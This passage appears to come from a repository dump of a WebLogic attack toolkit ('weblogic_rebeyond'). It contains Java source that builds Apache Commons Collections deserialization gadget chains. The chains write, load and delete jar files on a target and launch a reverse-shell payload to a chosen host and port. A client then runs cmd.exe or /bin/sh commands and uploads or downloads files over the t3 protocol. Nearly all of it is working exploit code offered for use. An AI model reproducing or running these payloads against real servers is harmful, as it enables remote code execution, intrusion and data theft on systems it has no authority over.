| fileName="payload_"+OS+"_upload_reverse.bin"; 55 | byte[] payload_reverse=loadReversePayload(); 56 | payload=genWritePayload(OS,payload_reverse); 57 | } 58 | else if(Payload_Type.equals("reverse")){ 59 | fileName="payload_"+OS+"_reverse.bin"; 60 | if(args.length!=4){ 61 | System.out.println("\treverse payload:java genPayload [OS] [reverse] [host] [port]"); 62 | return ; 63 | } 64 | payload=genReversePayload(OS,args[2],args[3]); 65 | } 66 | else{ 67 | System.out.println("\tPayload_Type:upload_inst|inst|upload_uninst|uninst|delete|upload_reverse|reverse"); 68 | return; 69 | } 70 | fileName = "./payload_bin/" + fileName; 71 | if(saveFile(fileName,payload)){ 72 | System.out.println("save payload to file success!"); 73 | } 74 | else{ 75 | System.out.println("save payload fail!"); 76 | } 77 | } 78 | 79 | 80 | private static void printUsage(){ 81 | System.out.println("Usage:java genPayload [OS] [Payload_Type]"); 82 | System.out.println("\tOS:win|linux"); 83 | System.out.println("\tPayload_Type:upload_inst|inst|upload_uninst|uninst|delete|upload_reverse|reverse"); 84 | System.out.println("\treverse payload:java genPayload [OS] [reverse] [host] [port]"); 85 | } 86 | private static byte[] loadInitAppPayload(String Type){ 87 | String Path="./payload_bin/inst.jar"; 88 | if(Type.equals("Uninstall")) Path="./payload_bin/uninst.jar"; 89 | return loadJarFileToBytes(Path); 90 | } 91 | private static byte[] loadReversePayload(){ 92 | String Path="./payload_bin/reverse.jar"; 93 | 94 | return loadJarFileToBytes(Path); 95 | } 96 | private static byte[]loadJarFileToBytes(String Path){ 97 | File file = new File(Path); 98 | Long filelength = file.length(); 99 | byte[] filecontent = new byte[filelength.intValue()]; 100 | try { 101 | FileInputStream in = new FileInputStream(file); 102 | in.read(filecontent); 103 | in.close(); 104 | return filecontent; 105 | } catch (FileNotFoundException e) { 106 | e.printStackTrace(); 107 | return new byte[0]; 108 | } catch (IOException e) { 109 | e.printStackTrace(); 110 | return new byte[0]; 111 | } 112 | } 113 | private static byte[] genInstPayload(String OS){ 114 | try { 115 | byte[] payload=GenInstallPayload.Gen(OS); 116 | return payload; 117 | } catch (Exception e) { 118 | // TODO Auto-generated catch block 119 | e.printStackTrace(); 120 | return null; 121 | } 122 | } 123 | private static byte[] genWritePayload(String OS,byte[] context){ 124 | try { 125 | byte[] payload=GenPayload.Gen(OS,context); 126 | return payload; 127 | 128 | } catch (Exception e) { 129 | // TODO Auto-generated catch block 130 | e.printStackTrace(); 131 | return null; 132 | } 133 | } 134 | private static byte[] genDeleteFilePayload(String OS){ 135 | try { 136 | byte[] payload=GenPayload.DeleteFile(OS); 137 | return payload; 138 | 139 | } catch (Exception e) { 140 | // TODO Auto-generated catch block 141 | e.printStackTrace(); 142 | return null; 143 | } 144 | } 145 | private static byte[] genReversePayload(String OS,String Host,String Port){ 146 | try { 147 | byte[] payload=GenReversePayload.Gen(OS,Host,Port); 148 | return payload; 149 | 150 | } catch (Exception e) { 151 | // TODO Auto-generated catch block 152 | e.printStackTrace(); 153 | return null; 154 | } 155 | } 156 | private static boolean saveFile(String fileName,byte[] context){ 157 | try 158 | { 159 | DataOutputStream out=new DataOutputStream( 160 | new BufferedOutputStream( 161 | new FileOutputStream(fileName))); 162 | out.write(context); 163 | out.close(); 164 | 165 | return true; 166 | } catch (Exception e) 167 | { 168 | e.printStackTrace(); 169 | return false; 170 | } 171 | } 172 | 173 | } 174 | -------------------------------------------------------------------------------- /src/weblogic_rebeyond/src/payload/GenInstallPayload.java: -------------------------------------------------------------------------------- 1 | package payload; 2 | 3 | import java.io.ByteArrayOutputStream; 4 | import java.io.ObjectOutputStream; 5 | import java.lang.annotation.Retention; 6 | import java.lang.reflect.Constructor; 7 | import java.util.HashMap; 8 | import java.util.Map; 9 | import org.apache.commons.collections.Transformer; 10 | import org.apache.commons.collections.functors.ChainedTransformer; 11 | import org.apache.commons.collections.functors.ConstantTransformer; 12 | import org.apache.commons.collections.functors.InvokerTransformer; 13 | import org.apache.commons.collections.map.TransformedMap; 14 | 15 | public class GenInstallPayload 16 | { 17 | public static byte[] Gen(String OS) throws Exception 18 | { 19 | String Path="file:/c:/windows/temp/test.jar"; 20 | if (!OS.equals("Windows")) 21 | { 22 | Path="file:/tmp/test.jar "; 23 | } 24 | final Transformer[] transforms = new Transformer[] { 25 | new ConstantTransformer(java.net.URLClassLoader.class), 26 | // getConstructor class.class classname 27 | new InvokerTransformer("getConstructor", 28 | new Class[] { Class[].class }, 29 | new Object[] { new Class[] { java.net.URL[].class } }), 30 | new InvokerTransformer( 31 | "newInstance", 32 | new Class[] { Object[].class }, 33 | new Object[] { new Object[] { new java.net.URL[] { new java.net.URL( 34 | Path) } } }), 35 | new InvokerTransformer("loadClass", 36 | new Class[] { String.class }, new Object[] { "weblogic.jndi.internal.InitAppImpl" }), 37 | // set the target reverse ip and port 38 | new InvokerTransformer("getMethod", new Class[] { 39 | String.class, Class[].class }, new Object[] { 40 | "main", new Class[]{String[].class} }), 41 | // invoke 42 | new InvokerTransformer("invoke",new Class[] { 43 | Object.class, Object[].class }, new Object[] { 44 | null, new Object[]{new String[]{"just for test"}} }) }; 45 | Transformer transformerChain = new ChainedTransformer(transforms); 46 | Map innermap = new HashMap(); 47 | innermap.put("value", "value"); 48 | Map outmap = TransformedMap.decorate(innermap, null, transformerChain); 49 | Class cls = Class 50 | .forName("sun.reflect.annotation.AnnotationInvocationHandler"); 51 | Constructor ctor = cls.getDeclaredConstructor(Class.class, Map.class); 52 | ctor.setAccessible(true); 53 | Object instance = ctor.newInstance(Retention.class, outmap); 54 | ByteArrayOutputStream bo=new ByteArrayOutputStream(10); 55 | ObjectOutputStream out = new ObjectOutputStream(bo); 56 | out.writeObject(instance); 57 | out.flush(); 58 | out.close(); 59 | return bo.toByteArray(); 60 | } 61 | } 62 | -------------------------------------------------------------------------------- /src/weblogic_rebeyond/src/payload/GenPayload.java: -------------------------------------------------------------------------------- 1 | package payload; 2 | 3 | import java.io.ByteArrayOutputStream; 4 | import java.io.FileOutputStream; 5 | import java.io.ObjectOutputStream; 6 | import java.lang.annotation.Retention; 7 | import java.lang.reflect.Constructor; 8 | import java.util.HashMap; 9 | import java.util.Map; 10 | import org.apache.commons.collections.Transformer; 11 | import org.apache.commons.collections.functors.ChainedTransformer; 12 | import org.apache.commons.collections.functors.ConstantTransformer; 13 | import org.apache.commons.collections.functors.InvokerTransformer; 14 | import org.apache.commons.collections.map.TransformedMap; 15 | 16 | public class GenPayload 17 | { 18 | public static byte[] Gen(String OS, byte[] ClassByte) 19 | throws Exception 20 | { 21 | String Path = "C:/windows/temp/test.jar"; 22 | if (!OS.equals("Windows")) { 23 | Path = "/tmp/test.jar"; 24 | } 25 | Transformer[] transforms = { 26 | new ConstantTransformer(FileOutputStream.class), 27 | new InvokerTransformer("getConstructor", 28 | new Class[] { Class[].class }, 29 | new Object[] { new Class[]{ String.class, Boolean.TYPE } }), 30 | new InvokerTransformer("newInstance", 31 | new Class[] { Object[].class }, 32 | //modify the true->false by hancool 33 | //overwrite the file: 34 | new Object[] {new Object[] { Path, Boolean.valueOf(false) } }), 35 | new InvokerTransformer("write", new Class[] { byte[].class }, new Object[] { ClassByte }), 36 | 37 | new InvokerTransformer("xxx", 38 | new Class[] { Class[].class }, 39 | new Object[] { new Object[]{ String.class } }), 40 | 41 | new InvokerTransformer("ttt", 42 | new Class[] { Object[].class }, 43 | new Object[] { new Object[]{ "just for fun" } }), 44 | new ConstantTransformer(Integer.valueOf(1)) }; 45 | Transformer transformerChain = new ChainedTransformer(transforms); 46 | Map innermap = new HashMap(); 47 | innermap.put("value", "value"); 48 | Map outmap = TransformedMap.decorate(innermap, null, transformerChain); 49 | Class cls = 50 | Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); 51 | Constructor ctor = cls.getDeclaredConstructor(new Class[] { Class.class, Map.class }); 52 | ctor.setAccessible(true); 53 | Object instance = ctor.newInstance(new Object[] { Retention.class, outmap }); 54 | ByteArrayOutputStream bo = new ByteArrayOutputStream(10); 55 | ObjectOutputStream out = new ObjectOutputStream(bo); 56 | out.writeObject(instance); 57 | out.flush(); 58 | out.close(); 59 | return bo.toByteArray(); 60 | } 61 | 62 | public static byte[] DeleteFile(String OS) 63 | throws Exception 64 | { 65 | String Path = "C:/windows/temp/test.jar"; 66 | if (!OS.equals("Windows")) { 67 | Path = "/tmp/test.jar"; 68 | } 69 | Transformer[] transforms = { 70 | new ConstantTransformer(FileOutputStream.class), 71 | new InvokerTransformer("getConstructor", 72 | new Class[] { Class[].class }, 73 | new Object[] { new Class[]{ String.class, Boolean.TYPE } }), 74 | new InvokerTransformer("newInstance", 75 | new Class[] { Object[].class }, 76 | new Object[] {new Object[] { Path, Boolean.valueOf(false) } }), 77 | new InvokerTransformer("write", new Class[] { byte[].class }, new Object[] { new byte[0] }), 78 | 79 | new InvokerTransformer("xxx", 80 | new Class[] { Class[].class }, 81 | new Object[] { new Object[]{ String.class } }), 82 | 83 | new InvokerTransformer("ttt", 84 | new Class[] { Object[].class }, 85 | new Object[] { new Object[]{ "just for fun" } }), 86 | new ConstantTransformer(Integer.valueOf(1)) }; 87 | Transformer transformerChain = new ChainedTransformer(transforms); 88 | Map innermap = new HashMap(); 89 | innermap.put("value", "value"); 90 | Map outmap = TransformedMap.decorate(innermap, null, transformerChain); 91 | Class cls = 92 | Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); 93 | Constructor ctor = cls.getDeclaredConstructor(new Class[] { Class.class, Map.class }); 94 | ctor.setAccessible(true); 95 | Object instance = ctor.newInstance(new Object[] { Retention.class, outmap }); 96 | ByteArrayOutputStream bo = new ByteArrayOutputStream(10); 97 | ObjectOutputStream out = new ObjectOutputStream(bo); 98 | out.writeObject(instance); 99 | out.flush(); 100 | out.close(); 101 | return bo.toByteArray(); 102 | } 103 | } 104 | -------------------------------------------------------------------------------- /src/weblogic_rebeyond/src/payload/GenReversePayload.java: -------------------------------------------------------------------------------- 1 | package payload; 2 | 3 | import java.io.ByteArrayOutputStream; 4 | import java.io.ObjectOutputStream; 5 | import java.lang.annotation.Retention; 6 | import java.lang.reflect.Constructor; 7 | import java.util.HashMap; 8 | import java.util.Map; 9 | 10 | import org.apache.commons.collections.Transformer; 11 | import org.apache.commons.collections.functors.ChainedTransformer; 12 | import org.apache.commons.collections.functors.ConstantTransformer; 13 | import org.apache.commons.collections.functors.InvokerTransformer; 14 | import org.apache.commons.collections.map.TransformedMap; 15 | 16 | public class GenReversePayload { 17 | public static byte[] Gen(String OS,String Host,String Port) throws Exception 18 | { 19 | String Path="file:/c:/windows/temp/test.jar"; 20 | if (!OS.equals("Windows")) 21 | { 22 | Path="file:/tmp/test.jar "; 23 | } 24 | final Transformer[] transforms = new Transformer[] { 25 | new ConstantTransformer(java.net.URLClassLoader.class), 26 | // getConstructor class.class classname 27 | new InvokerTransformer("getConstructor", 28 | new Class[] { Class[].class }, 29 | new Object[] { new Class[] { java.net.URL[].class } }), 30 | new InvokerTransformer( 31 | "newInstance", 32 | new Class[] { Object[].class }, 33 | new Object[] { new Object[] { new java.net.URL[] { new java.net.URL( 34 | Path) } } }), 35 | new InvokerTransformer("loadClass", 36 | new Class[] { String.class }, new Object[] { "Main" }), 37 | // set the target reverse ip and port 38 | new InvokerTransformer("getMethod", new Class[] { 39 | String.class, Class[].class }, new Object[] { 40 | "main", new Class[]{String[].class} }), 41 | // invoke 42 | new InvokerTransformer("invoke",new Class[] { 43 | Object.class, Object[].class }, new Object[] { 44 | null, new Object[]{new String[]{Host+":"+Port}} }) }; 45 | Transformer transformerChain = new ChainedTransformer(transforms); 46 | Map innermap = new HashMap(); 47 | innermap.put("value", "value"); 48 | Map outmap = TransformedMap.decorate(innermap, null, transformerChain); 49 | Class cls = Class 50 | .forName("sun.reflect.annotation.AnnotationInvocationHandler"); 51 | Constructor ctor = cls.getDeclaredConstructor(Class.class, Map.class); 52 | ctor.setAccessible(true); 53 | Object instance = ctor.newInstance(Retention.class, outmap); 54 | ByteArrayOutputStream bo=new ByteArrayOutputStream(10); 55 | ObjectOutputStream out = new ObjectOutputStream(bo); 56 | out.writeObject(instance); 57 | out.flush(); 58 | out.close(); 59 | return bo.toByteArray(); 60 | } 61 | } 62 | -------------------------------------------------------------------------------- /src/weblogic_rebeyond/src/shellApp.java: -------------------------------------------------------------------------------- 1 | import java.io.BufferedOutputStream; 2 | import java.io.DataOutputStream; 3 | import java.io.File; 4 | import java.io.FileInputStream; 5 | import java.io.FileOutputStream; 6 | import javax.naming.InitialContext; 7 | import Utils.RyClient; 8 | import weblogic.jndi.internal.InitApp; 9 | 10 | public class shellApp { 11 | private static InitialContext Ic; 12 | private static InitApp App; 13 | /** 14 | * @param args 15 | */ 16 | public static void main(String[] args) { 17 | // TODO Auto-generated method stub 18 | if(args.length<4){ 19 | printUsage(); 20 | return; 21 | } 22 | String host=args[0]; 23 | String port=args[1]; 24 | String os=args[2]; 25 | String cmd=args[3]; 26 | String result = null; 27 | if(getApp(host,port)){ 28 | result=execute(os,cmd,args); 29 | } 30 | System.out.println(result); 31 | } 32 | private static void printUsage(){ 33 | System.out.println("Usage:java shellApp [HOST] [PORT] [OS] [CMD]"); 34 | System.out.println("\tOS:win|linux"); 35 | System.out.println("\tCMD:putfile [localfile] [remotefile]"); 36 | System.out.println("\t getfile [remotefile] [localfile]"); 37 | System.out.println("\t [windows or linux cmd]"); 38 | 39 | } 40 | private static boolean getApp(String host,String port){ 41 | try 42 | { 43 | Ic = RyClient.getInitialContext("t3://" + host + ":" + port); 44 | App = ((InitApp)Ic.lookup("__WL_InitialLib")); 45 | return true; 46 | } 47 | catch (Exception ex) 48 | { 49 | System.err.println("An exception occurred: " + ex.getMessage()); 50 | return false; 51 | } 52 | } 53 | private static String execute(String os,String cmd,String []args){ 54 | String []cmdArray=new String[3]; 55 | if(cmd.equals("putfile") || cmd.equals("getfile")){ 56 | if(args.length!=6){ 57 | return "please set the localfile and remotefile"; 58 | } 59 | if(cmd.equals("putfile")){ 60 | return putFile(args[4],args[5]); 61 | } 62 | else{ 63 | return getFile(args[4],args[5]); 64 | } 65 | } 66 | if(os.equals("win")){ 67 | cmdArray[0] = "cmd.exe"; 68 | cmdArray[1] = "/c"; 69 | } 70 | else{ 71 | cmdArray[0] = "/bin/sh"; 72 | cmdArray[1] = "-c"; 73 | } 74 | cmdArray[2] = cmd; 75 | 76 | return App.runCmd(cmdArray); 77 | } 78 | private static String putFile(String localFile,String remoteFile){ 79 | try { 80 | File file = new File(localFile); 81 | Long filelength = file.length(); 82 | byte[] filecontent = new byte[filelength.intValue()]; 83 | FileInputStream in = new FileInputStream(file); 84 | in.read(filecontent); 85 | in.close(); 86 | 87 | return App.putFile(filecontent, remoteFile); 88 | 89 | } catch (Exception e) { 90 | e.printStackTrace(); 91 | return e.getMessage(); 92 | } 93 | } 94 | private static String getFile(String remoteFile,String localFile){ 95 | try{ 96 | byte[] filecontent=App.getFile(remoteFile); 97 | if(filecontent == null || filecontent.length==0){ 98 | return "get remote file fail"; 99 | } 100 | DataOutputStream out=new DataOutputStream( 101 | new BufferedOutputStream( 102 | new FileOutputStream(localFile))); 103 | out.write(filecontent); 104 | out.close(); 105 | 106 | return "ok"; 107 | } catch (Exception e) 108 | { 109 | e.printStackTrace(); 110 | return e.getMessage(); 111 | } 112 | } 113 | } 114 | --------------------------------------------------------------------------------